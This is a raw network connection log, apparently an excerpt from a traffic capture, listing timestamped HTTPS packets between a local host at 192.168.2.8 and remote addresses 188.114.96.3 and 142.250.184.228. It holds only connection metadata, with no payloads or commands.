Nov 19, 2024 18:19:35.772384882 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.772417068 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.777318954 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.858659029 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.858736038 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.858767986 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.858784914 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.858817101 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.858839035 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.858912945 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.858957052 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.858968019 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.858984947 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.859005928 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.859025955 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.859177113 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.859217882 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.859230042 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.859246969 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.859277010 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.859292030 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.860174894 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.860214949 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.860236883 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.860241890 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.860265970 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.860323906 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.860642910 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.860690117 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.860765934 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.860765934 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.860791922 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.860831976 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.861226082 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.861264944 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.861299038 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.861316919 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.861331940 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.861331940 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.861356020 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.862569094 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.862626076 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.862675905 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.862675905 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.862704992 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.862768888 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.862997055 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.863034010 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.863056898 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.863095999 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.863111019 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.863135099 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.949816942 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.949878931 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.949925900 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.949964046 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.949981928 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.950002909 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.950042009 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.950094938 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.950201988 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.950258017 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.950316906 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.950361013 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.950372934 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.950387955 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.950412035 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.950428009 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.950835943 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.950880051 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.950892925 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.950913906 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.950928926 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.950943947 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.951370001 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.951421976 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.951431990 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.951446056 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.951478004 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.951493025 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.951860905 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.951905012 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.951935053 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.951941967 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.951966047 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.951982021 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.953382015 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.953424931 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.953442097 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.953449965 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.953474998 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.953493118 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.953692913 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.953733921 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.953756094 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.953767061 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:35.953784943 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:35.953804970 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.040553093 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.040620089 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.040725946 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.040767908 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.040786028 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.040815115 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.040829897 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.040888071 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.040890932 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.040920973 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.040946007 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.040965080 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.041075945 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.041115046 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.041130066 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.041137934 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.041167021 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.041187048 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.043076992 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.043118000 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.043142080 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.043148994 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.043175936 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.043190002 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.043278933 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.043340921 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.043340921 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.043364048 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.043391943 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.043401003 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.043495893 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.043539047 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.043559074 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.043565035 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.043596029 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.043659925 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.044186115 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.044217110 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.044250965 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.044256926 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.044280052 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.044298887 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.044383049 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.044400930 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.044429064 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.044435978 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.044461966 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.044475079 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.131184101 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.131252050 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.131330013 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.131367922 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.131386042 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.131398916 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.131454945 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.131500959 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.131515980 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.131524086 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.131537914 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.131563902 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.131642103 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.131696939 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.131707907 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.131762028 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.133785963 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.133831978 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.133866072 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.133873940 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.133892059 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.133908033 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.134041071 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.134094954 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.134098053 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.134125948 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.134151936 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.134162903 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.134301901 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.134347916 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.134362936 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.134368896 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.134397984 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.134413958 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.134797096 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.134843111 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.134861946 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.134867907 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.134895086 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.134905100 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.135113955 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.135158062 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.135170937 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.135183096 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.135212898 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.135226965 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.286264896 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.388801098 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.388832092 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.388905048 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.388928890 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.388952017 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.388984919 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.389163971 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.389163971 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.389214039 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.389245033 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.389266014 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.389273882 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.389301062 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.389367104 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.389406919 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.389419079 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.389425993 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.389460087 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.389553070 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.389581919 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.389604092 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.389609098 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.389621973 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.389641047 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.389702082 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.389736891 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.389751911 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.389758110 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.389801025 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.389981985 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.390024900 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.390048981 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.390064001 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.390078068 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.390151024 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.390185118 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.390202999 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.390208960 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.390232086 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.390305042 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.390331984 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.390357971 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.390364885 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.390377998 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.390438080 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.390475035 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.390486956 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.390494108 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.390543938 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.390686035 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.390717983 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.390790939 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.390790939 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.390799999 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.390889883 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.390924931 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.390959978 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.390969038 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.390984058 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.391103029 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.391130924 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.391160965 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.391166925 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.391180992 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.391243935 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.391278028 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.391298056 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.391304970 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.391330957 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.391385078 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.391412973 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.391438007 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.391444921 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.391457081 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.391784906 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.391832113 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.391860962 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.391866922 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.391879082 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.394618988 CET	49731	443	192.168.2.8	142.250.184.228
Nov 19, 2024 18:19:36.394665003 CET	443	49731	142.250.184.228	192.168.2.8
Nov 19, 2024 18:19:36.394732952 CET	49731	443	192.168.2.8	142.250.184.228
Nov 19, 2024 18:19:36.394956112 CET	49731	443	192.168.2.8	142.250.184.228
Nov 19, 2024 18:19:36.394973040 CET	443	49731	142.250.184.228	192.168.2.8
Nov 19, 2024 18:19:36.395128012 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.403249979 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.403275967 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.403351068 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.403383970 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.403399944 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.403562069 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.403584003 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.403611898 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.403621912 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.403639078 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.403852940 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.403872013 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.403904915 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.403917074 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.403933048 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.405565977 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.405589104 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.405637026 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.405653000 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.405668020 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.405922890 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.405939102 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.405981064 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.405993938 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.406006098 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.406232119 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.406251907 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.406280041 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.406286955 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.406301975 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.406692982 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.406707048 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.406749010 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.406757116 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.407500982 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.407521009 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.407552958 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.407562971 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.407577991 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.458559990 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.493952990 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.493978024 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.494034052 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.494077921 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.494106054 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.494146109 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.494164944 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.494430065 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.494443893 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.494488001 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.494503975 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.494515896 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.496331930 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.496361971 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.496396065 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.496406078 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.496438026 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.496479988 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.496494055 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.496541023 CET	49730	443	192.168.2.8	188.114.96.3
Nov 19, 2024 18:19:36.496551037 CET	443	49730	188.114.96.3	192.168.2.8
Nov 19, 2024 18:19:36.496830940 CET	443	49730	188.114.96.3	192.168.2.8
